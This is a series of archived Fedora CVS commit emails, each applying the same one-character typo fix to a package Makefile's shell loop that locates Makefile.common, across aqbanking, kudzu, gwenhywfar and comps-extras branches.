In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-7

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-7/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:13 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:14 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:14 +0000 (UTC)
Subject: rpms/aqbanking/F-9 Makefile,1.1,1.2
Message-ID: <20091028041414.D59C011C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/F-9/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:14 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:15 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:15 +0000 (UTC)
Subject: rpms/aqbanking/devel Makefile,1.1,1.2
Message-ID: <20091028041415.37EC811C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/aqbanking/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/aqbanking/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/aqbanking/devel/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:47:20 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:14 -0000	1.2
@@ -4,7 +4,7 @@ NAME := aqbanking
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:15 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:15 +0000 (UTC)
Subject: rpms/kudzu/F-10 Makefile,1.2,1.3
Message-ID: <20091028041415.827C011C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/F-10/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:15 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:15 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:15 +0000 (UTC)
Subject: rpms/kudzu/F-11 Makefile,1.2,1.3
Message-ID: <20091028041415.E7FB211C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/F-11/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:15 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:16 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:16 +0000 (UTC)
Subject: rpms/kudzu/F-12 Makefile,1.2,1.3
Message-ID: <20091028041416.69C7011C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/F-12/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:15 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:16 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:16 +0000 (UTC)
Subject: rpms/kudzu/F-8 Makefile,1.2,1.3
Message-ID: <20091028041416.C0CE011C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/F-8/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:16 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:17 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:17 +0000 (UTC)
Subject: rpms/kudzu/F-9 Makefile,1.2,1.3
Message-ID: <20091028041417.202D211C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/F-9/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:16 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:17 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:17 +0000 (UTC)
Subject: rpms/kudzu/devel Makefile,1.2,1.3
Message-ID: <20091028041417.8BEB111C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/kudzu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/kudzu/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kudzu/devel/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:56:52 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:17 -0000	1.3
@@ -4,7 +4,7 @@ NAME := kudzu
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:17 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:17 +0000 (UTC)
Subject: rpms/gwenhywfar/EL-4 Makefile,1.1,1.2
Message-ID: <20091028041417.CF00311C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/EL-4
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/EL-4

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/EL-4/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:17 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:18 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:18 +0000 (UTC)
Subject: rpms/gwenhywfar/F-10 Makefile,1.1,1.2
Message-ID: <20091028041418.A2B9511C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-10/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:18 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:18 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:18 +0000 (UTC)
Subject: rpms/gwenhywfar/EL-5 Makefile,1.1,1.2
Message-ID: <20091028041418.4C51711C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/EL-5
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/EL-5

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/EL-5/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:17 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:18 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:18 +0000 (UTC)
Subject: rpms/gwenhywfar/F-11 Makefile,1.1,1.2
Message-ID: <20091028041418.DB2A011C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-11/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:18 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:19 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:19 +0000 (UTC)
Subject: rpms/gwenhywfar/F-12 Makefile,1.1,1.2
Message-ID: <20091028041419.600B611C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-12
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-12

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-12/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:18 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:19 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:19 +0000 (UTC)
Subject: rpms/gwenhywfar/F-7 Makefile,1.1,1.2
Message-ID: <20091028041419.B370211C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-7
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-7

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-7/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:19 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:20 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:20 +0000 (UTC)
Subject: rpms/gwenhywfar/F-9 Makefile,1.1,1.2
Message-ID: <20091028041420.78AC911C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-9
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-9

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-9/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:20 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:20 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:20 +0000 (UTC)
Subject: rpms/gwenhywfar/F-8 Makefile,1.1,1.2
Message-ID: <20091028041420.1ACF911C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/F-8
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/F-8

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/F-8/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:19 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:20 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:20 +0000 (UTC)
Subject: rpms/gwenhywfar/devel Makefile,1.1,1.2
Message-ID: <20091028041420.E3DF311C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/gwenhywfar/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/gwenhywfar/devel

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/gwenhywfar/devel/Makefile,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Makefile	20 Feb 2007 03:27:48 -0000	1.1
+++ Makefile	28 Oct 2009 04:14:20 -0000	1.2
@@ -4,7 +4,7 @@ NAME := gwenhywfar
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:21 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:21 +0000 (UTC)
Subject: rpms/comps-extras/F-10 Makefile,1.2,1.3
Message-ID: <20091028041421.4D8A511C029B@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/F-10
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/F-10

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/F-10/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:20 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:21 2009
From: notting at fedoraproject.org (Bill Nottingham)
Date: Wed, 28 Oct 2009 04:14:21 +0000 (UTC)
Subject: rpms/comps-extras/F-11 Makefile,1.2,1.3
Message-ID: <20091028041421.9FB9611C0268@cvs1.fedora.phx.redhat.com>

Author: notting

Update of /cvs/pkgs/rpms/comps-extras/F-11
In directory cvs1.fedora.phx.redhat.com:/home/fedora/notting/fu/rpms/comps-extras/F-11

Modified Files:
	Makefile 
Log Message:
Fix typo from bad import script. (releng #2781)


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/comps-extras/F-11/Makefile,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- Makefile	15 Oct 2007 18:40:02 -0000	1.2
+++ Makefile	28 Oct 2009 04:14:21 -0000	1.3
@@ -4,7 +4,7 @@ NAME := comps-extras
 SPECFILE = $(firstword $(wildcard *.spec))
 
 define find-makefile-common
-for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
 endef
 
 MAKEFILE_COMMON := $(shell $(find-makefile-common))



From notting at fedoraproject.org  Wed Oct 28 04:14:21 2009
